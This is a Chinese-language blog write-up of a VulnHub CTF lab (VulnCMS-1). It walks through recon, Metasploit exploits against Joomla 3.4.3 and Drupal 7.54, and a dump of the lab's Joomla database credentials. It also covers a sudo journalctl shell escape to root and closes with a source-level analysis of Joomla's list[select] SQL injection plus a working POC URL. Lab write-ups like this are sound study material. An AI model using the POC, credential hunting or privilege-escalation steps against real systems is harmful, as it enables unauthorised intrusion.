VulnCMS-1复现

VulnCMS-1复现

环境搭建

搭建靶场环境我选择的是使用Vmware + VirtualBox,Vmware运行kali攻击机,VirtualBox运行Vulnhub靶机的方案,整体拓扑为:

  宿主机(Windows) : 192.168.56.1
  ├─ VMware Workstation → Kali Linux(主力攻击机):192.168.56.101
  └─ Oracle VirtualBox → VulnHub靶机: 192.168.56.102

具体配置:

Vmware

image-20260415130029235

image-20260415130231211

如图,将VMnet0桥接至VirtualBox的虚拟网卡上

VirtualBox

VirtualBox 主界面,选中靶机,点击“设置”。

选择“网络” -> “网卡 1”。

连接方式选择:仅主机 (Host-Only) 网络。

验证:

在kali中使用ifconfig:

image-20260415130711680

可以看到Kali 已经成功拿到了 192.168.56.101 这个地址。说明 VMware 已经成功“挂载”到了 VirtualBox 的虚拟网卡上。

漏洞复现

本次的靶机选取的是vulnhub中的VulnCMS-1

渗透测试本质是信息搜集,所以我们先做下c段嗅探,使用nmap来扫描192.168.56.0/24 段内存活的主机地址:

image-20260415131249023

可以看到,1是网关地址,100是DHCP服务器,101是我们的kali攻击机,则102即为我们的靶机地址,继续使用nmap扫下端口,看看靶机上都跑了哪些服务

image-20260415131954549

可以看到这里开放了22,80,5000,8081和9001端口,22端口是ssh,80端口是http服务

先探测一下web服务,这里我们使用gobuster, Gobuster 是一款用 Go 编写的高效目录、文件、DNS 子域及虚拟主机枚举工具,常用于渗透测试和信息收集。

我们来枚举一下目录:

image-20260415132551109

访问一下http://192.168.56.102/vulnerable/

image-20260415133027007

是几张图片

访问robots.txt:

image-20260415132713472

/about.html:

image-20260415132903969

似乎没什么有用的信息

访问一下其它端口

image-20260415133218787

5000端口上跑了一个WordPress

访问helloworld的时候发现跳转到了http://fsociety.web:5000/hello-world/

image-20260415133352036

继续探测WordPress服务的web目录

image-20260415140733940

可以发现有wp-login.php和rss

image-20260415140920524

在rss里发现了版本信息: WordPress/5.7.2,但很遗憾这个版本似乎没有什么可利用的CVE

wp-admin.php也没有弱密码

先换个端口探测

image-20260415142007994

看到8081端口有README.txt

image-20260415142050597

所以8081上跑了一个Joomla ,Joomla是一个开源的内容管理系统(cms),联想到这个靶机的名字是VulnCMS,应该是在这里做文章

使用joomscan进行扫描:

image-20260415142541155

可以看到这里跑的Joomla版本是3.4.3,第一个就是SQL注入漏洞

可以用msf利用,具体漏洞分析会写在最后

image-20260415151207323

image-20260415151502240

直接读取到了数据库信息,可以看到这里有一个和其他的都不一样的邮箱

继续探测9001端口

image-20260415151855498

可以看到依旧有README.txt ,

image-20260415151930658

9001端口跑的是Drupal,Drupal 是一个使用 PHP 语言编写的开源内容管理框架(CMF)

image-20260415152051591

可以在/CHANGELOG.txt中看到这里的版本是7.54

同样使用msf看看有没有直接可利用的exp

image-20260415152453330

image-20260415153256269

拿到shell

可以发现现在是低权限用户,先看一眼文件

image-20260415153909974

// configuration.php
<?php
class JConfig {
        public $offline = '0';
        public $offline_message = 'This site is down for maintenance.<br /> Please check back again soon.';
        public $display_offline_message = '1';
        public $offline_image = '';
        public $sitename = 'fsociety';
        public $editor = 'tinymce';
        public $captcha = '0';
        public $list_limit = '20';
        public $access = '1';
        public $debug = '0';
        public $debug_lang = '0';
        public $dbtype = 'mysqli';
        public $host = 'localhost';
        public $user = 'joomla_admin';
        public $password = 'j00m1_@_dBpA$$';
        public $db = 'joomla_db';
        public $dbprefix = 'hs23w_';
        public $live_site = '';
        public $secret = 'E2WM78yuyqAzib9N';
        public $gzip = '0';
        public $error_reporting = 'default';
        public $helpurl = 'https://help.joomla.org/proxy/index.php?option=com_help&amp;keyref=Help{major}{minor}:{keyref}';
        public $ftp_host = '';
        public $ftp_port = '';
        public $ftp_user = '';
        public $ftp_pass = '';
        public $ftp_root = '';
        public $ftp_enable = '0';
        public $offset = 'UTC';
        public $mailonline = '1';
        public $mailer = 'mail';
        public $mailfrom = 'Fluntence54@armyspy.com';
        public $fromname = 'fsociety';
        public $sendmail = '/usr/sbin/sendmail';
        public $smtpauth = '0';
        public $smtpuser = '';
        public $smtppass = '';
        public $smtphost = 'localhost';
        public $smtpsecure = 'none';
        public $smtpport = '25';
        public $caching = '0';
        public $cache_handler = 'file';
        public $cachetime = '15';
        public $MetaDesc = '';
        public $MetaKeys = '';
        public $MetaTitle = '1';
        public $MetaAuthor = '1';
        public $MetaVersion = '0';
        public $robots = '';
        public $sef = '1';
        public $sef_rewrite = '0';
        public $sef_suffix = '0';
        public $unicodeslugs = '0';
        public $feed_limit = '10';
        public $log_path = '/var/www/html/joomla/logs';
        public $tmp_path = '/var/www/html/joomla/tmp';
        public $lifetime = '15';
        public $session_handler = 'database';
}

由于是低权限用户,没法到根目录下去,联想到在Joomla数据库中有一个账户elliot,和可疑的邮箱,用这个登一下22端口的ssh试一试

image-20260415154827384

成功登录,拿到第一个flag

image-20260415154849735

可以看到这里依旧是低权限用户,先用find一下SUID

find / -perm -4000 -type f

image-20260415155516440

顺手看一眼有哪些用户

image-20260415160104603

看到除了我们登录上去的elliot之外还有一个用户tyrell,先从这里找突破口

在一堆Permission denied中我们找到了:

image-20260415160413050

image-20260415160650137

看一眼这几个文件

image-20260415160731530

拿到了账户密码

登录到tyrell账户,依旧是低权限

查看下当前账户是否存在可以使用的特权命令或文件:sudo -l,发现存在/bin/journalctl命令。

image-20260415161342370

journalctl可以用 ! /bin/sh的方式提权

image-20260415161841863

这里的原理是,因为这里journalctl是NOPASSWD的,所以我们用sudo运行journalctl时,不用输入root密码,同时它的所有组件(包括分页器)都会运行在root权限下,而journalctl是 Linux 用来查看系统日志的工具。为了方便用户翻阅超长的日志,它默认会调用一个分页器通常是 less。因为 less 是被 root 身份的 journalctl 调用的,所以在 less 里执行的任何命令也都是 root 权限,而less可以用!/bin/sh的方式提权,从而我们拿到了root权限。

拿到了第二个flag

综上来看,这里利用的主要漏洞是Joomla的SQL注入和信息泄露

所以我们最后来分析一下造成joomla 3.4.3 SQL注入的原因

漏洞分析

最开始我们的payload会到administrator/components/com_contenthistory/models/history.php下的getListQuery()函数:

protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
				'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
			)
		)
		->from($db->quoteName('#__ucm_history') . ' AS h')
		->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
		->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

		// Join over the users for the editor
		->select('uc.name AS editor')
		->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering');
		$orderDirn = $this->state->get('list.direction');
		$query->order($db->quoteName($orderCol) . $orderDirn);

		return $query;
	}

输入会给到getState函数,进去看看,在libraries/legacy/model/legacy.php

public function getState($property = null, $default = null)
	{
		if (!$this->__state_set)
		{
			// Protected method to auto-populate the model state.
			$this->populateState();

			// Set the model state set flag to true.
			$this->__state_set = true;
		}

		return $property === null ? $this->state : $this->state->get($property, $default);
	}

可以看到,这里会判断model状态是否被设置,如果没有会调用populateState()函数来设置,去看看实现

// administrator/components/com_contenthistory/models/history.php
	protected function populateState($ordering = null, $direction = null)
	{
		$input = JFactory::getApplication()->input;
		$itemId = $input->get('item_id', 0, 'integer');
		$typeId = $input->get('type_id', 0, 'integer');
		$typeAlias = $input->get('type_alias', '', 'string');

		$this->setState('item_id', $itemId);
		$this->setState('type_id', $typeId);
		$this->setState('type_alias', $typeAlias);
		$this->setState('sha1_hash', $this->getSha1Hash());

		// Load the parameters.
		$params = JComponentHelper::getParams('com_contenthistory');
		$this->setState('params', $params);

		// List state information.
		parent::populateState('h.save_date', 'DESC');
	}

可以看到,这里获取了item_id等,强制转型成integer然后用setState函数来赋值,即从用户输入中取出item_id,type_id,type_alias,等几个变量,对当前model的属性进行赋值,由于可以控制的参数都被强制转成整形,所以只能看看其他地方,可以看到最后继承了populateState,去看看父类是怎么实现的

// libraries/legacy/model/list.php
protected function populateState($ordering = null, $direction = null)
	{
		// If the context is set, assume that stateful lists are used.
		if ($this->context)
		{
			$app = JFactory::getApplication();

			// Receive & set filters
			if ($filters = $app->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'))
			{
				foreach ($filters as $name => $value)
				{
					$this->setState('filter.' . $name, $value);
				}
			}

			$limit = 0;

			// Receive & set list options
			if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
			{
				foreach ($list as $name => $value)
				{
					// Extra validations
					switch ($name)
					{
						case 'fullordering':
							$orderingParts = explode(' ', $value);

							if (count($orderingParts) >= 2)
							{
								// Latest part will be considered the direction
								$fullDirection = end($orderingParts);

								if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
								{
									$this->setState('list.direction', $fullDirection);
								}

								unset($orderingParts[count($orderingParts) - 1]);

								// The rest will be the ordering
								$fullOrdering = implode(' ', $orderingParts);

								if (in_array($fullOrdering, $this->filter_fields))
								{
									$this->setState('list.ordering', $fullOrdering);
								}
							}
							else
							{
								$this->setState('list.ordering', $ordering);
								$this->setState('list.direction', $direction);
							}
							break;

						case 'ordering':
							if (!in_array($value, $this->filter_fields))
							{
								$value = $ordering;
							}
							break;

						case 'direction':
							if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
							{
								$value = $direction;
							}
							break;

						case 'limit':
							$limit = $value;
							break;

						// Just to keep the default case
						default:
							$value = $value;
							break;
					}

					$this->setState('list.' . $name, $value);
				}
			}
			else
			// Keep B/C for components previous to jform forms for filters
			{
				// Pre-fill the limits
				$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
				$this->setState('list.limit', $limit);

				// Check if the ordering field is in the white list, otherwise use the incoming value.
				$value = $app->getUserStateFromRequest($this->context . '.ordercol', 'filter_order', $ordering);

				if (!in_array($value, $this->filter_fields))
				{
					$value = $ordering;
					$app->setUserState($this->context . '.ordercol', $value);
				}

				$this->setState('list.ordering', $value);

				// Check if the ordering direction is valid, otherwise use the incoming value.
				$value = $app->getUserStateFromRequest($this->context . '.orderdirn', 'filter_order_Dir', $direction);

				if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
				{
					$value = $direction;
					$app->setUserState($this->context . '.orderdirn', $value);
				}

				$this->setState('list.direction', $value);
			}

			// Support old ordering field
			$oldOrdering = $app->input->get('filter_order');

			if (!empty($oldOrdering) && in_array($oldOrdering, $this->filter_fields))
			{
				$this->setState('list.ordering', $oldOrdering);
			}

			// Support old direction field
			$oldDirection = $app->input->get('filter_order_Dir');

			if (!empty($oldDirection) && in_array(strtoupper($oldDirection), array('ASC', 'DESC', '')))
			{
				$this->setState('list.direction', $oldDirection);
			}

			$value = $app->getUserStateFromRequest($this->context . '.limitstart', 'limitstart', 0);
			$limitstart = ($limit != 0 ? (floor($value / $limit) * $limit) : 0);
			$this->setState('list.start', $limitstart);
		}
		else
		{
			$this->setState('list.start', 0);
			$this->setState('list.limit', 0);
		}
	}

在这一部分代码中:

if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
	{
		foreach ($list as $name => $value)
		{
			// Extra validations
			switch ($name)
			{
				case 'fullordering':
					$orderingParts = explode(' ', $value);

					if (count($orderingParts) >= 2)
					{
						// Latest part will be considered the direction
						$fullDirection = end($orderingParts);

						if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
						{
							$this->setState('list.direction', $fullDirection);
						}

						unset($orderingParts[count($orderingParts) - 1]);

						// The rest will be the ordering
						$fullOrdering = implode(' ', $orderingParts);

						if (in_array($fullOrdering, $this->filter_fields))
						{
							$this->setState('list.ordering', $fullOrdering);
						}
					}
					else
					{
						$this->setState('list.ordering', $ordering);
						$this->setState('list.direction', $direction);
					}
					break;

				case 'ordering':
					if (!in_array($value, $this->filter_fields))
					{
						$value = $ordering;
					}
					break;

				case 'direction':
					if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
					{
						$value = $direction;
					}
					break;

				case 'limit':
					$limit = $value;
					break;

				// Just to keep the default case
				default:
					$value = $value;
					break;
			}

			$this->setState('list.' . $name, $value);
		}
	}

这里会从http请求中获取名为list的数组,可以看到最开始我们的参数’list.select’没有对应的处理逻辑,就会走default即不做任何处理,这导致了后续子类的populateState在对model的属性进行赋值的时候没有任何的过滤。所以我们可以控制$this->getState(‘list.select’)的返回值,构造SQL注入。

POC:

/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))

多一个list[ordering]=是为了把原SQL中的order by字段值清空,否则会报Unknown column ‘Array’的错。

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计